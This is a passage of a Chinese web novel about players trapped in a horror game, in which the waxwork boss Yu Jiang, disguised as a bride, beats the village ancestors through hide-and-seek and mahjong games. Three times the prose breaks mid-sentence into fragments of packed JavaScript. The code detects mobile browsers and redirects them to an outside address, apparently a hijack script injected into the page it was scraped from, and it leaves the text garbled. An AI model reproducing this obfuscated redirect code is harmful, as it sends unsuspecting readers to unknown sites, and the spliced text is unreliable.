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“他们相信,只要把所有副本彻底摧毁,这个游戏牢笼就会随之崩塌,所有玩家也能一起获得解脱。比起让玩家一个个通关S级副本,这种方法听起来确实更直接、也更彻底。” “这听起来酷多了!”刘茵茵眼睛一亮,“那后来呢?” “十年前是激进派最风光的时候。”周祺接话,语气带着几分感慨,“他们真的几乎拆除了心跳之城的所有副本,最后只剩下中心区的S级副本需要攻克,可最后还是全军覆没了。” “从那之后激进派便销声匿迹,大多数玩家惜命,慢慢转向保守派的策略,只求稳妥通关,不再冒险拆除副本。这样难度小得多,生存率也高。” “什么?”刘茵茵闻言震惊,“这破游戏已经十年了?我记得它是近两年才上线的吧?” “没错。”周祺苦笑,“现实世界和游戏世界的时间流速不同。至今为止,还是有源源不断的新玩家被诱骗进来,然后陷入无尽的年复一年。” “那……十年里,真的没有人通关过中心区的S级副本,从游戏里出去吗?”刘茵茵低声问道,语气里透出难以置信。 “有过的!”沈百希忽然坐直了身子,眼神带光,“不,应该说,本来是有的……” “当年激进派的领袖,就是玩家等级榜的榜一,被公认拥有通关S级副本的实力。据说,在挑战S级副本的那场决战中,她的评级曾从S跃升到S+。但S+的状态只维持了五分钟,她的头像就从排行榜上消失了。” “一定是因为她通关了副本,但放弃了自己出去的机会,选择留下来拆除副本。可最后失败了,连带着自己也一起被系统抹除。” 刘茵茵听得怔住,心头涌上一阵深深的惋惜与难过,那样的结局未免太遗憾了。 沈百希大喇喇地躺下:“大概就是这样啦!要是能活着出去,你记得留意论坛上的暗号,可以去约定的地点蹭不少副本攻略呢。” 刘茵茵若有所思地点了点头,也躺了下来。累了一晚上没合眼,是该歇一歇了,毕竟晚上的婚宴估计是场硬仗。 “不过,你的朋友真的没被附身吗?检测结果明明说她是个100%的蜡像怪啊。”沈百希嘟囔着,语气里仍旧半信半疑。 刘茵茵一路上嘴皮子都说干了,甚至用生命担保虞老板是“自己人”,没想到沈百希还是没有完全相信。 她困得睁不开眼,便含糊敷衍道:“虞老板是个超厉害的好人,蜡像化只是她的特殊天赋啦。” 有人天赋是“百分百撞鬼”,难道还不许有人天赋是“全身蜡像化”吗? 墙角的阴影中,靠墙小憩的周祺缓缓睁开一只眼。 作为游戏老玩家,他从未听说过能彻底改变身体形态的天赋。觉醒者可能获得某些“开挂”的buff,但绝不会从人类变成蜡像。 除非,真如某个副本攻略所写的那样…… 26. 荒村婚宴宾客须知(八) 刘茵茵和沈百希是被一阵铜锣声吵醒的,阿喜婆那标志性的嘶哑嗓音穿街走巷地吆喝着: “吉时将至,请各位宾客前往刘府宗祠,参宴观礼!” 声声高喊惊动了整个村子,不只是他们三人,几乎每户人家的门都吱呀作响地打开,原本沉寂的村落躁动了起来。 “等等。”周祺抬了抬眼镜,似乎透过镜片在观察什么,“所有村民都出来了,一个个跟在阿喜婆身后。他们的状态……有点不妙,我们晚点再出去。” 见刘茵茵投来困惑的目光,沈百希解释道:“周祺的特殊天赋是‘摄像头’,他走过的地方都会成为他的监控区域,刚才他提前看了一眼。” 刘茵茵这才恍然大悟,果然是个很适合解谜和分析的能力。 于是,一行人等到铜锣声渐远,村民开门的响动也稀疏下来,这才悄悄打开房门,远远跟上了队伍。 大白天的无人提灯,阿喜婆仍提着铜锣走在最前方,身后紧随一大群村民。他们步伐虚浮、脊背佝偻,饿得前胸贴后背似的,连腹部都塌陷了几分。 但这些村民又异常亢奋,嘴里不停念叨着“好饿好饿”,眼神直勾勾地盯着祠堂的方向。 当队伍经过刘茵茵和虞绛所住的房屋时,对面的屋门大开,一股浓烈的腥臭扑面而来。刘茵茵下意识往门里看了一眼,却顿时寒毛直竖。 院中残留着大片深褐色的血迹,蔓延至井边。而井口旁,赫然散落着一件熟悉的女子便装。她觉得有些眼熟,多看了几眼才猛然反应过来,那是……小艺的衣服! 那个在新娘院子惊慌逃跑的玩家,竟真的没能逃出去!她大概是迷失在鬼打墙的村屋之间,然后被村民引诱入屋,最终落得个被分食的下场。 一丝凉意爬上脊背,她们若是与这群饿得发疯的村民共赴婚宴,谁知道他们虎视眈眈的是宴席上的是饭菜,还是活生生的玩家? 刘茵茵打了个哆嗦,赶紧低下头,加快了脚步。 走不多远,前方便是一座肃穆的宗祠。阿喜婆在宗祠门前停下脚步,她缓缓回身,目光精准地锁定了三位玩家,嘴角勾起一个意味深长的笑。 “第二日,乃是婚宴。”她缓缓道,“按照宾客须知第6条,婚宴将持续至明日天亮,期间请各位宾客保持清醒,尽情享用席上美食,务必不可浪费食物。届时,新娘若能通过先祖考察,才算礼成。” 她顿了顿,语气陡然一转,阴恻恻地笑了起来:“若是通不过嘛……那就只好从你们中再挑一位,代替她的位置。直到先祖满意,才能进入第三天的洞房夜。” 沈百希瞪大了眼睛,惊呼出声:“这也太无赖了吧!我们明明只是宾客,怎么还要走完新娘的剧情?” 阿喜婆并不搭理她的控诉,转身带队走入宗祠内。祠堂大门森严,饥肠辘辘的村民们低着头,一个个饿得前胸贴后背,竟没人注意到头上的宗祠牌匾。 唯有刘茵茵心怀忐忑地踏过门槛时,仿佛感应到什么,抬头看了一眼。 咦?她眼花了吗? 否则的话,刘府宗祠上方,怎么会悬着一块写着“蜡妹棋牌室”的门牌? *** 此时,虞绛穿上了正儿八经的红色嫁衣,红盖头垂落,布料隐隐透光。她坐在宗祠享堂正中的蒲团上,身后是供奉先祖的牌位。 出门前,阿喜婆叮嘱她,今夜新娘须依照婚书要求的“守礼从规,取悦邻里”好好表现。要讨好村民、取信先祖,熬过整夜才能迎来第三天的洞房环节。 “要是熬不过呢?”虞绛挑眉反问。 “那你就永永远远留在村里。”阿喜婆露出一个森然的微笑,“留下来,陪我们迎接下一位新娘。” “坏人。”虞绛低声骂了一句,却也按捺下暴走的冲动,像一只蜘蛛静静蛰伏在蒲团上。 阿喜婆冷冷地投来一眼,便转身离开。而虞绛的身边,那个俊朗的鬼新郎正端坐在红木椅上,眼睛闭着像是沉沉睡去。供案上犀角香燃烧着,缕缕异香自行向他飘去。 良久,院子里传来动静。透过透光的红盖头,虞绛隐约看见一群人浩浩荡荡地涌入,很快便找到席位坐下。 她偷偷掀开盖头一角,只见那些面色发青、神情狂热的村民已坐满四桌,而刘茵茵与其他两位玩家则瑟缩在角落的小桌,还剩一张空桌。 虞绛看过去的时候,刚巧对上刘茵茵的视线,只见她瞬间激动地挥舞起了双手。虞绛回以一个胜券在握的眼神,示意她放心,然后重新垂下盖头。 当两个副本重叠,会引发怎样的同化效应? 虞绛不知道,但她冥冥中却感觉,有什么在潜移默化地改变了。 她听见外面大门合上的声音,整个空间像是彻底封闭了起来。与此同时,自己与副本门牌产生了某种连结。 一缕无形的丝线,一头牵着门牌,一头缠绕着她。 即便隔着红盖头,她也能感知院中每个人的神态、动作与语言,就像她以往在蜡像馆副本中拥有的全知视角一样。 但同时,作为荒村副本的新娘,阿喜婆和婚书的要求也为她绑上了枷锁。她清楚自己不能撕下嫁衣,也无法肆无忌惮地释放蜡液技能毁灭村庄。 她必须扮演好未出阁的新妇角色,讨好村民并博得先祖青睐,顺利推进剧情至洞房夜。 真奇妙,进入这个副本的时候她还是玩家,然后又成了游戏NPC,再后来又捡起半个副本Boss的身份。 那么,有没有办法,可以兼顾这三种身份? 她心念一动,在宽大衣袖的掩护下,一只冰凉的怀表从体内浮现,稳稳落入掌心。 那是桑柒送的怀表,可拉快副本时间,也是切换表里世界的开关。在桑柒的庄园里,她曾用这块表直接切换进了午夜孤儿院的世界里。 如今,作为半个副本Boss,新的梦魇世界也将由她亲手构建。 “咚——”很快,一声锣响止住了喧哗,阿喜婆示意现场安静下来。 “今日,是南山村刘府之子刘锦舟成婚的吉日。”她笑着开口,沙哑的嗓音听着瘆人,“感谢各位友邻和宾客出席婚宴,代祖宗考察新妇德行。请大家不必客气,尽情享用这场宴席吧。” 话音落下,她拍了拍手,几位年老的阿嬷从后厨缓步走出。阿嬷腿脚不便,身上似乎都带点残疾,但手中却稳稳端着一盘盘加盖的菜肴。 然而,她们并未将菜品端往村民席间,而是径直朝角落的小桌走来,将饭菜一股脑地摆在了三名玩家面前。 “客人慢用,但务必要吃干净,连一滴油都不能剩哦。”阿嬷们一边笑着揭开菜盖,一边叮嘱道。 可伴随热气翻涌而出的,却是一股令人作呕的腐臭味。沈百希皱着眉凑近一看,顿时脸色大变。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547547|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这些是什么鬼东西……”她嫌弃地捂住嘴巴。只见盘中堆着一块块水煮或清蒸的不明肉块,表皮发白,甚至有的边缘已经腐烂变色。 “不会是人肉吧……”刘茵茵艰难咽了口口水,“这谁能咽得下去啊?!” 周祺也提出质疑:“其他村民怎么不吃?” 阿喜婆意味深长地笑了:“这些都是为你们准备的。至于村民嘛……他们不爱吃熟的。” 不吃熟的?那就是爱吃生的?! 三人警觉地环顾四周,只见村民果然对桌上的菜肴毫无兴趣,却一个个死死盯着他们,那眼神像极了在打量待宰牲畜的屠夫。 周祺低声分析:“宾客须知要求我们在天亮前吃光桌上所有食物,并始终保持清醒,在此期间我们是安全的。可如果真的吃下这些东西,我们也会马上变成村民的口粮。” 沈百希咬唇思索:“那我们岂不是要拖到最后一刻,等新娘获得先祖认可后,再一口气吃完,让这些村民来不及反应?” “问题是,这些东西根本吃不下去啊……”刘茵茵皱着脸盯着腐烂的肉堆,“虽然我们一天没吃饭了,但这也……” “咕噜咕噜——” 就在这时,她的肚子不合时宜地响了,一阵强烈的饥饿感涌来。 刘茵茵生气地拍打肚子:“争点气啊!现在不是饿肚子的时候!” “不是错觉。”周祺的肚子也叫了起来,他若有所思,“我和希希进副本前都摄入了营养剂,正常来说三天内不会感到饥饿。但现在……” “咦,我怎么觉得这锅汤……还挺鲜美?”沈百希忽然喃喃出声,目光定定地看着中央那锅黑乎乎的肉汤。 粘稠的汤面浮着一层指甲盖似的异物,她却忍不住咽了口口水:“好想尝一口……” 说话间,她的眼神变得涣散,手已经伸向筷子。 “啪!” 周祺一巴掌打掉她的手,随即覆上她的眼睛:“闭眼。” 他沉声道:“这些菜肴有问题,多看几眼就会被蛊惑,诱发强烈的食欲。” 刘茵茵见状,也立刻闭上了眼,生怕自己一不小心也中招。 可陷入黑暗后,强烈的疲惫感却突然袭来。她的大脑开始变得迟钝,意识也逐渐放松,甚至想要卸下防备,舒舒服服地睡一觉。 “啪!” 在刘茵茵失去意识的前一刻,脑门上突然挨了一巴掌,疼得她猛地惊醒。她这才惊觉,自己差点就睡着了! “原来如此,”周祺收回巴掌,按住沈百希的肩膀转了个身,“睁眼会被食物诱惑,闭眼又会陷入沉睡,这就是宾客须知中隐藏的双重陷阱。” “那我……我看虞老板总行吧。”刘茵茵心有余悸,转身望向给她带来最多安全感的虞绛。 可虞绛跪坐在地,也并不安稳。 只见一名皮包骨似的村民正向她走来,笑得猥琐:“新娘子,把盖头摘下来,让我替先祖验下货啊!” 话音刚落,虞绛便感受到来自规则的压制。她无法反抗,无法怒骂,甚至双手像被操控般,听话地朝头顶的盖头摸去。 她低垂眼睫,右手顺势抬起,只是拇指趁机搭上了掌心那只怀表的侧面,找准旋钮轻轻一转。 “滴答——” 坏掉的怀表忽然动了,仿佛一道开关,唤醒了一直蛰伏在此的另一个副本。 27. 荒村婚宴宾客须知(九) 原本坏掉的怀表恢复了正常的步伐,滴答滴答地在虞绛手中走动。其他人并未察觉异样,只是觉得今晚的夜色比平时更加深沉。 然而,只有虞绛知道,新的副本空间已悄然打开,而她终于获得了带着枷锁起舞的自由。 她乖巧地摘下红盖头,烛光下未施脂粉的面庞依旧明艳动人。面前的猥琐男一愣,眼中闪过一丝惊艳。 他兴奋地搓了搓手,喉间发出一声轻佻的□□,企图抬手摸向她的脸。 然而,手伸到途中,虞绛便冷冷地扫了过来,猛地掐住了他的手腕。 “痛痛痛!!手要断了啊啊!”男人痛得大叫起来,腿一软,趔趄着歪倒在一旁。 虞绛勾起一抹得逞的笑意,五指不客气地用力一扭,清脆的骨折声响起。男人的手腕被向外扭曲翻折,软软地垂了下去,再也无法动弹。 她用一种嫌弃的眼神,将这只脏手丢开,仿佛丢掉了一个垃圾。 “你竟然敢伤我?!你这毒妇就该被捆起来沉塘!”男人彻底跌倒在地,咬牙切齿地瞪着虞绛。 虞绛毫不在意,张开嘴轻轻吐出一张扑克牌,牌上的小鬼活灵活现地旋转了半圈,最终稳稳地被她夹在指间。 她一字一句地对男人说道:“你输了,输家得留下一只手。还有,玩游戏可是件开心的事情,请保持微笑。” 话音刚落,男人惊恐地睁大了眼睛,他感觉下半张脸仿佛失去控制,正如虞绛所说,他的嘴角开始缓缓上翘,最终勾勒出一个扭曲的笑容。 “你究竟是什么东西?怎么做到的?!”男人声音变得越来越虚弱,连哀嚎和质问都变成了克制不住的大笑。 “哈哈哈哈!停,停下来……哈哈哈哈!” 香案前的动静吸引了所有人的目光,院外四桌的村民们终于把视线从宾客那桌移开,纷纷聚焦在虞绛身上,眼神中透出警惕和贪欲。 站在享堂檐下的阿喜婆也面带不善地看了过来,虞绛却抢在她前面开口: “我可没有犯规,严格遵循了婚书上“守礼从规,取悦邻里”的要求。你看,这人不是笑得很开心吗?” 阿喜婆的脸色变得阴沉,似乎想说什么,但最终还是没说话。 虞绛便愈加肆意,面对院中的村民放话道:“还有谁想让我好好取悦一番?尽管来啊!” 院中的村民们被这话激怒,倏地全都站了起来,可却没有一个人敢冲上前来。毕竟,倒在地上的前车之鉴正疯狂发出诡异的笑声,在探明这个新娘子的底细前,贸然行动只会重蹈覆辙。 “不愧是虞老板,痛快啊!”刘茵茵不由自主地鼓起了掌,不过在察觉到村民投来的冷眼后,她立刻识趣地闭了嘴。 而一旁的周祺却陷入沉思,他虽然不明白新娘要遵守的规则,但看阿喜婆和众人的反应,新娘好像不该嚣张反抗众人才对? 可虞绛袭击了一个村民,也并没有得到惩罚,阿喜婆更是一副无可奈何的表情。 这个蜡像怪,究竟是什么人? 而注意到虞绛异样的,不仅仅是村民和玩家,一道无法忽视的视线此刻也悄然落在她身上。 她微微侧头,只见那位容貌俊美的新郎不知何时已睁开双眼,正饶有兴致地打量着她,唇角勾起一抹意味不明的弧度。 “这个游戏……”新郎开口,声音低哑而带着刚醒来的慵懒,语气却意外认真,“挺有意思的。” 虞绛有些意外,这鬼新郎难道发觉了棋牌室副本的存在? 但她面上并未流露出一丝波澜,淡定地回答:“过奖。” 突然,虞绛的手机忽然震动了起来,一条新的系统消息跳了出来。 【尊敬的副本Boss,您的F级副本《蜡妹棋牌室》获得50点心跳值,请再接再厉!】 虞绛眼中闪过一抹激动,副本营业期间,玩家的恐惧会转化为心跳值,而系统也会动态更新副本获取的收益。 真怀念啊,上一次收到这样的信息,还是三个月前!看来,苦等客人上门没有前途,溜进其他副本揽客才是出路! 她并不理会众人虎视眈眈的目光,打开了手机上的副本操作面板。看着一小时前刚刚完善的副本内容,脑海中迅速开始盘算起今天开张能赚多少。 *** 说回一小时前,当虞绛百无聊赖地枯坐在蒲团上时,她便在琢磨着怎么吞噬这个副本。 对,是“吞噬”而非“同化”。虽然等级差很大,但她认为以下克上并非不可能。 按照《副本Boss行为守则》,高等级副本Boss更容易【入戏】,也更难【出戏】。因此,尽管还不确定这个荒村副本的Boss是谁,但她怀疑对方并没有意识到另一个副本已经悄悄入侵。 虞绛不仅掌握了先机,而且她自己的副本还没来得及设置副本背景和游戏机制,正好可以针对眼下的困境,专门打造一个破局的空间。 但想到这里,她又犯了难。 副本背景倒是好设定,在等级允许的范围内,设置故事背景和通关条件就好。非主线副本的设定不需要设置通关奖励,这样她的钱包也不会吃亏。 然而,游戏机制却离不开NPC、场景和道具。虽然副本Boss可以算作一个NPC,但她没有足够的心跳值兑换游戏道具,兜里也只剩下从孤儿院副本中带来的怀表和小鬼扑克牌。 等等!怀表和小鬼牌,这两样不就够了吗? 拨动怀表的指针可以进入虚构的里世界,而小鬼牌……不就是捉迷藏的游戏道具吗? 虞绛心跳如擂,激动地拿出手机,点开空白的副本操作面板,飞快地输入了新的副本背景。 【欢迎进入心跳之城F级副本《蜡妹棋牌室》,正在为您加载副本背景信息: 午夜时分,如果你从睡梦中醒来,却发现四周的环境悄然变化,耳边响起棋牌碰撞的清脆声响……请不要惊慌,你只是幸运地被古怪的“蜡妹棋牌室”选中,成了今晚的特殊玩家。 棋牌室的营业时间从午夜开始,直至天亮。期间,你必须接受游戏邀请,参加棋牌室老板指定的游戏。 如果获胜,你可以向棋牌室的神秘老板提出一个请求;但若失败,你将必须接受老板提前设定的惩罚。请记住,玩游戏是一件快乐的事情,无论输赢都必须保持微笑。 温馨提示:此副本非主线副本,系统不设通关评价与奖励。但请务必注意,在天亮之前你至少需要赢下一场游戏,才能向棋牌室老板请求离开。否则,你可能会随棋牌室去往下一个地图哦。】 虞绛手速虽快,但定下副本背景还是花了不少时间。这是因为她坚持不懈地加入各种逆天的设定,结果都被系统一一驳回。 比如,她曾尝试把副本时间延长到三天,结果被系统以“F级副本营业时长不得超过6小时”为由一口回绝。 总之,经过几轮折腾,修改了十几版,最终才得以定稿。 接着,来到游戏机制的板块,虞绛决定加入捉迷藏游戏。开局由NPC决定小鬼牌的归属,拿到小鬼牌的一方成为捉迷藏的“鬼”,需要在天亮之前抓到对方。 同时,为防止系统再捣乱,虞绛特意补充强调:虽然捉迷藏跟棋牌无关,可是扑克牌是不可或缺的身份象征,因此符合棋牌室的定位。 在她一篇洋洋洒洒的诡辩下,系统审核的圆圈转了半天,最终还是勉强批准了捉迷藏的游戏申请。 虞绛见此乘胜追击,甚至还想再添加“真心话大冒险”“斗地主”等能用到扑克牌的游戏。但这一次,系统毫不留情地拒绝了。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547548|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因很简单,这些游戏需要一副完整的扑克牌,而她手中的仅是单张小鬼牌,游戏道具不充足。更重要的是,系统规定游戏的数量不得大于NPC的数量。 虞绛负责捉迷藏,而副本中的其他五个蜡像员工并不在场,显然没有足够的NPC来主持其他游戏。 所以,虽然心有不甘,她只能放弃新增第二个游戏的想法。也许可以等副本结束后,问问刘茵茵是否愿意来棋牌室当个临时工,挖掘下她擅长的棋牌游戏。 正想着,一阵嘈杂的争执声从后院传来,打断了虞绛的思绪。 “这小子藏在厨房里,被我发现了!鬼鬼祟祟的,一定是来偷吃肉的!” “怀里抱着什么,快把偷藏的吃的拿出来!” “看他不像是同村人,也不是宾客,那就带出去给大家加个餐,嘿嘿。” 过了会,几个阿嬷推搡着一个脏兮兮的高瘦男人,一起朝院子走来。 其中一个独眼的阿嬷力气极大,紧紧锢住男人的手臂,将他硬生生拉到院中,猛地推倒在地。 男人神情迷糊,直接摔了个狗啃泥,手中的麻袋也掉落下来,白萝卜块撒了一地。 “陆骁?”刘茵茵惊呼出声,“我不是让你好好待在房子里,等我们通关后再找你的吗?” 陆骁闻言神色微动,虽然比之前机械重复台词的时候相比清醒了些,但脑袋依然不太灵光。 他凑到刘茵茵身边,委屈地说道:“我实在太饿了,闻到饭香就忍不住跟了过来。可我没有偷吃别人的饭菜,我一直靠削萝卜转移注意力,削着削着就没那么饿了。” 刘茵茵松了口气,幸好陆骁没吃那些不该碰的肉。然而,看着地上撒了一地被削成小方块的萝卜,她不禁有些哭笑不得。 无论如何,刘茵茵依然揽住了陆骁,鼓起勇气朝阿嬷们辩解:“他不是小偷,也不是村民,他是我的朋友,也是这场婚宴的宾客。” 几个阿嬷对视一眼,其中一位独臂阿嬷走出来,和善地打圆场:“既然是宾客,自然可以吃厨房里的东西。不过,桌上的菜可不能冷了,大家现在快趁热吃吧。” 刘茵茵一听到“吃饭”两个字,脸色瞬间一变,急忙看向沈百希和周祺,显得有些为难。 周祺慢条斯理地摆手回绝道:“不急不急,今夜还长呢。先祖都还没到,客人哪有先动筷子的道理。” 然而,阿嬷们虽然没有再纠缠,但沉默已久的阿喜婆突然开口:“既然村民无法代先祖考察新妇,而宾客也不愿在先祖到场前动筷,那不如就提前召唤先祖显灵,好生考察校验新娘吧。” 说罢,她从宽大的衣袖中取出三炷香,目不斜视地走到虞绛和鬼新郎面前。她借着香案上的蜡烛点燃三炷香,再稳稳插入灵位面前。 袅袅白烟似是长了眼般朝门外散去,浓烈的犀角香味迅速弥漫了整个享堂。 阿喜婆插完香后,便回到享堂门口,闭目养神。虞绛一头雾水,正疑惑着,身旁沉寂已久的鬼新郎突然睁开了眼。 “来了。”他低沉清澈的声音响起,这是虞绛第一次听到他说话。 “什么来了?”虞绛下意识地问,但还未等他回答,心中便已隐约猜到了答案。 “砰砰砰——” 一阵剧烈的撞击声打破了夜的寂静,大门被人连撞三下,震耳欲聋的声音回荡在空中。 “啪!” 破旧的大门无法承受冲击,轰然倒塌,木屑四散飞溅。虞绛的全知视角下,三道瘦长的身影借着夜色跨步走进门槛。 它们的服饰风格各异,但却都显得雍容华贵。宽大的衣袍下,则是干瘪的皮肤和凹陷的五官,像是皱巴巴的树皮成精。 这是三具她从未见过的干尸,恐怕也正是阿喜婆口中多次提到的“先祖”了。 28. 荒村婚宴宾客须知(十) “三个新面孔……穿得比一般干尸讲究得多。身后还跟着一群衣着破烂的普通干尸。”周祺推了推眼镜,将特殊天赋“摄像头”捕捉到的画面转述给身边人。 刘茵茵紧紧抓住陆骁的胳膊,仍记得不能与干尸对视的规则,一把捂住陆骁的眼睛。 很快,这群不速之客自门外涌入院中。走在最前的正是那三具疑似“先祖”的干尸——中间那个穿着一身古代官服,左边的一袭民国长衫,右边的一套现代衬衫,尽管步履迟缓却气势逼人。 这三位直奔享堂而来,而其余衣衫褴褛的干尸仿佛被无形规则所限制,只能停留在享堂门口,贪婪地吸食着空气中流淌的犀角香。 虞绛终于明白,那唯一空出的桌位,是留给谁的了。 阿喜婆也缓步进入堂前,语气庄严地宣布:“今日请刘氏三位先祖到场,为三十五代长孙刘锦舟遴选贤妇。请新妇,向先祖尽孝!” 虞绛记得宾客须知第5条,虽说自己已不再受宾客守则约束,可出于谨慎她仍低头垂眸,避免与先祖视线交汇。 至于阿喜婆口中的“尽孝”,她不明所以,索性静观其变。 可不知为何,当那三位穿着各异的先祖站在虞绛面前时,她裙下的异肢忽然躁动了起来。 她的脑子昏沉发胀,意识也开始恍惚,恍然间似乎觉得自己真的成了南山村的新娘,正在婚宴上接受族中长辈的检阅。 浓烈的异香缠绕在鼻尖,虞绛的脑海中不断翻涌出画面碎片,跟之前见到的幻觉一样。错乱的画面却带来了强烈的真实感,这让她心头警铃大作。 她即将陷入【混乱】。 这时,中间那位穿着官服的先祖缓缓向前挪了一步,随后手腕一抖,露出森森白骨的五指如闪电般袭来,直取她的左眼。 这动作……他是要挖她的眼睛?这就是获得先祖认可的“代价”? 虞绛用力掐了几下胳膊,强迫自己清醒过来。她再次利用捉迷藏游戏的机制,抢先卡住对方手腕,成为捉迷藏的“赢家”,并一把卸下了先祖的一只手掌。 然而,这一次并不如对付村民那样顺利。先祖本来就不是活人,残破腐朽的干尸哪怕断掉一只手也无伤大雅。 那只向外翻折九十度的干枯手掌攻势不减,继续袭向虞绛的左眼。与此同时,另外两个先祖也骤然出手,目标分别是她的左耳与左腿。 原来,要获得三位先祖的“认可”,需奉上一只眼、一只耳和一条腿。成为南山村的新妇,必须半瞎、半聋、半瘸。 捉迷藏游戏在这里派不上用场,她又无法突破规则直接反抗,还必须得到先祖的认可…… 这可怎么办? 虞绛想不出来,直到他们几乎抓到她时,裙下的布料突然剧烈膨胀,三条异化的肢体迅速探出,主动朝三只白骨森森的爪子谈去。 面对突然送上来的异肢,先祖们反射性地直接掰断。当三条异肢齐齐断裂时,虞绛感受到一阵前所未有的剧痛。 真疼! 不知是剧痛的刺激,还是异肢断裂减缓了体内的污染,虞绛的脑袋稍微清醒了一些。她抬头望去,正好与三双阴冷又狠厉的眼神对视。 糟了,她忘记了不能直视他们的眼睛。 这一对视更是挑起了他们的战意,先祖们迅速甩掉血淋淋的异肢,以更凌厉的阵势朝着虞绛猛扑过来。 虞绛根本来不及应对,只好故技重施,剩下的三条异肢再度无奈送出,而她则借力连连后撤,直到退到院子里。 断腿的剧痛再度袭来,她跌倒在院中。此时,她已经失去了所有的变异肢体,唯剩下两条原装的腿。 现在,暴露蜡像能力似乎是唯一的选择。可奇怪的是,自从她被新娘院中的血水污染后,蜡像化能力也失效了。 如果这几只干尸剜掉她的身体部位,她无法再化为流动的蜡液重塑身体,只能保持残缺的状态,直到副本结束。 可现在才第二天,她不敢想象自己要怎么用残缺的身体抵挡第三天的危险。 虞绛正想着,不经意间触碰到了地上的一块硬物。 随手拿起一看,原来是刚才从陆骁麻袋里掉出来的萝卜块。这萝卜被削成了小方块,上面竟然还刻有花纹,摸上去像是两圈年轮。 虞绛觉得有些眼熟,这个花纹她似乎在哪里见过。 这图案好像叫做……“二筒”? 就在她短暂愣神的空隙,三个先祖又一次气势汹汹地逼近了。 “别伤害虞老板!”刘茵茵实在按捺不住,突然冲了出来,挡在虞绛面前。 这是刘茵茵第一次看到虞绛如此无力,曾经那个即使被烧成一滩焦糊蜡液也能奋力反击的人,今天竟然陷入了无法还手的困境。 她急得快要哭出来了,而这一声呼喊也引起了三只干尸的注意。 先祖的目标本该只有新娘,但受到刘茵茵“百分百撞鬼”天赋的影响,他们竟然在两者之间犹豫了起来,一时间无法抉择要选哪个目标发动攻击。 而一旁的陆骁在刘茵茵松开他后,迷茫地眨了眨眼睛,似乎在消化面前这出奇怪的闹剧。 然而,还没等他反应过来,手里突然被人塞进了一个手机。 这不就是他丢失的折叠屏手机吗?! 但手机屏幕上,却显示着“副本临时工申请”字样,标题下方则是“申请成功”的状态提醒。 陆骁下意识抬头,正对上那位穿着红衣的神秘新娘,她正带着意味深长的目光看着自己,随即一股强烈的电流感席卷全身。 某种从灵魂深处传来的声音,正在召唤着他。 “请各位先祖抓紧时间,完成新妇考核。”阿喜婆的声音再次响起,打破了这一刻的静默。 终于,三位先祖决定不再纠结,强迫自己不再被刘茵茵影响,重新投入到原本的剧情里。他们再一次默契地向虞绛扑去,目标依然是她的左眼、左耳和左腿。 可这一次,虞绛一反常态地从容一笑,唇角轻轻勾起,随后清晰地吐出几个字: “欢迎参加蜡妹棋牌室的第二个游戏。” 她顿了顿,笑意加深: “国粹——麻将。” 话刚落音,先祖们攻势凌厉的利爪竟扑了个空,摊开手时却发现手心里躺着几个小硬块。他们愣愣地低头,赫然正是原本散落在地的萝卜块,每个萝卜块上都雕刻着不同的花纹。 “三万、八条……还有,幺鸡?”穿着衬衫的现代先祖率不可置信地喃喃。 再次抬头时,他们发现一个青年男子已挡在他们面前,双手同样握着几个萝卜块。下一秒,他一屁股坐在地上,将十三个萝卜块码成一排,整齐地立在地上。 虞绛不紧不慢地补充道:“在这局麻将中,陆骁是你们的对手。如果他赢了,你们必须让我通过新娘考核。但如果你们中任何一人率先和牌,便算你们获胜,我会答应你们的要求。” “无论是关闭我的副本,还是奉上我的身体部位,我都可以答应。” 她笑着退了一步,轻声道:“那么祝各位,游戏愉快。” 三个先祖闻言愣在原地,就像巡演的演员突然被塞进了另一场陌生的剧目里,有些无法理解当前的状况。 可更诡异的是,他们能感受到棋牌室规则的限制,冥冥中引导着他们坐下接受这场麻将对局,而他们无力抵抗。 站在一旁的阿喜婆目光一闪,似乎短暂挣脱了【入戏】状态,清醒地看了虞绛一眼:“原来,偷偷藏在这里的副本是你的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547549|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但她并未表现出太多惊讶,片刻后又恢复那副波澜不惊的神情,仿佛一切尽在掌握。 虞绛无暇回应,目光紧紧盯着四人的对局。三个先祖此刻也席地而坐,和陆骁围坐成四个角,正不熟练地码着牌。 这麻将局突如其来,引起了围观村民与宾客的震动。他们一头雾水,不明白虞绛是怎么将新娘考核变成一场牌局的。 “这又是什么?特殊道具还是某种天赋?”沈百希瞪大双眼,转头看向刘茵茵。 刘茵茵心中已猜到和棋牌室副本有关,但不能明说,只能打哈哈道:“可能是道具?也许是那种……强制NPC接受赌约的道具吧,哈哈。” 周祺推了推眼镜,显然并不相信这种说法。 而此时的虞绛表面镇定,背着手在四名选手背后走来走去,锐利的目光不断扫过对方的牌面。 